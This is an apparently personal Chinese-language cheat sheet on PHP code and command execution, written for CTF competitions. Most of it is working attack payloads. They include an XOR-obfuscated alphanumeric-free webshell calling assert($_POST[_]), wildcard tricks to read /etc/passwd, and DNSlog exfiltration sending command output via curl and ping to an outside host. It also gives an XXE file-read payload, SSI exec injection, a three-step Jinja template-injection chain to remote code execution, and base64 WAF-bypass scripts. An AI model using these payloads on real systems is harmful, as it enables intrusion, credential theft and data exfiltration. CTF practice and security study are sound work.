程式碼執行總結--2018自我整理
0x00前言
命令執行往往在實際中的危害十分的巨大,而在ctf中命令執行會比較顯眼但是限制就比較多
0x01程式碼執行函式
eval(), assert(), preg_replace(), call_user_func(), call_user_func_array(), array_map()
這些函式會將引數當做php程式碼或者php函式和引數進行執行
常見的
eval("system('ls');");
assert('phpinfo()');
call_user_func('assert','phpinfo()');
call_user_func_array('assert',array('phpinfo()'));
array_map('assert',array('phpinfo()'));
0x02命令執行函式
可以呼叫系統命令的函式有system()、exec()、shell_exec()(反引號(`)括住字串效果一樣)、passthru()、pcntl_exec()、popen()、proc_open()
防禦函式即在變數進入命令執行函式前將變數進行處理,會使無法執行多個語句,或者傳入的變數只能被當做引數,而不能當成命令
escapeshellcmd():
將特定的字元#&;`|*?~<>^()[]{}$, x0A 和 xFF。 ‘ 和 “ 僅在不配對兒的時候被轉義,加上^轉義
escapshellarg():
將內容用""包裹著,比如: escapshellarg("ls") => "ls"
程式碼執行和命令執行的區別在於,程式碼執行是可以任意控制php語句,而命令執行時可以控制計算機的命令,常常在ctf題也有將命令執行函式禁止防止選手惡意破壞環境
0x03命令執行的特殊情況
如果現在了某些字母,或者達到無法完整的打出命令可以使用萬用字元
/bin/cat /etc/passwd => /???/??t /e??/??ss??
也可用用異或運來來達到構造字串
<?php $_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); //$_='assert'; $__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST'; $___=$$__; $_($___[_]); // assert($_POST[_]);
這裡有篇關於php5和php7程式碼執行的繞過waf文章
https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html
利用DNSlog回顯,首先該環境為我們能夠執行命令,但是沒有回顯。
這個時候藉助http://ceye.io/records/dns 這個網站。
對方機器為linux用:
curl http://xxx.xxx.io/`pwd` ping `pwd`.xxx.xxx.io
windows用:
ping %USERNAME%.xxxx.xxxx.io
xxx.xxx.io即為賬號所分配的DNS
注意點:
執行命令用`包含起來,但是輸出的內容必須是一個連續的字串(不包含空格),如果有換行就只會出最後一行。去掉空格的方法:
帶空格的輸出|sed s/[[:space:]]//g 帶空格和換行的輸出|base64
0x04一些能夠執行命令的漏洞利用方式
XXE:
XXE漏洞是利用向伺服器傳送xml的內容,進行的攻擊常見payload:
<?xml version="1.0" ?>
<!DOCTYPE aaa [<!ENTITY bbb SYSTEM "路徑" >]>
<root>
<ccc>&bbb;</ccc>
<root>
<root>根節點是要加的,注意頭部需要存在
Content-Type: application/xml
那麼傳送json的時候,也可能存在這個問題,假設將
Content-Type: application/json ==修改==> Content-Type: application/xml
然後將json資料修改成xml結構,一樣能夠利用。
SSI(Server Side Includes)注入
SSI的存在是為了方便程式設計師除錯程式,使用方式為,前提是開了這個功能
<!--#include virtual="/www/footer.html" --> <!--#echo var="DATE_LOCAL"--> <!--#exec cmd="cat /etc/passwd"--> <!--#exec cgi="/cgi-bin/access_log.cgi"-->
python的模板注入
在ctf中如果遇到python題,有一定機率就是模板注入
模板注入的問題是可以用 {{1 + 1}} 來檢查結果為2,那麼會執行python程式碼
遠端程式碼執行步驟,假如沒有waf的情況下
step1: {{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/hack.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }} step2: {{ config.from_pyfile('/tmp/hack.cfg') }} step3: {{ config['RUNCMD']('執行的命令',shell=True) }}
這裡解釋下
step1:
' '空字串
' '.__class__ 這個會返回空字串的型別
' '.__class__.__mro__會返回空字串的型別的父類(是個陣列,我們要其中的object型別)
' '.__class__.__mro__[2].__subclasses__會返回所有的型別
' '.__class__.__mro__[2].__subclasses__[40]拿到能操作檔案的型別函式
' '.__class__.__mro__[2].__subclasses__[40]('/tmp/hack.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') 在/tmp/目錄下建立hack.cfg, 然後寫入python程式碼而變數RUNCMD就是之後的程式碼執行變數
step2:
把上面建立的hack.cfg插入當前python頁面的程式碼中
step3:
實現遠端程式碼執行
命令被waf
命令被waf可以採取將命令寫入.sh檔案中,而且使用base64編碼來繞過waf
#寫檔案 echo bHM=|base64 -d > /tmp/test.sh #'bHM=' base64解碼為'ls' #給檔案許可權 chmod 777 /tmp/test.sh #執行檔案 /tmp/test.sh